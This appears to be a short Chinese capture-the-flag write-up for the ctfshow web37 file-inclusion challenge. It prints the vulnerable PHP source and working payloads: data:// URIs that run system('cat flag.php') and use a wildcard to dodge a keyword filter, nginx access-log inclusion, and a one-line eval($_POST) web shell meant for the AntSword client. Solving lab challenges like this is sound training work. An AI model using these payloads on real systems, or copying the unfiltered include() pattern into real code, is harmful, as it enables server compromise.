ctfshow-web37(文件上传)

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

法一:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
或
?c=data://text/plain,<?php system('cat fla?.php')?>

然后直接查看源代码或者用日志文件包含查看

日志文件包含
?c=/var/log/nginx/access.log

法二:

用一句话木马,然后蚁剑连接

?c=data:,<?php @eval($_POST['shell']); ?>
上一篇:学习Java第15天笔记


下一篇:【路径规划】基于灰狼算法实现机器人栅格地图路径规划matlab源码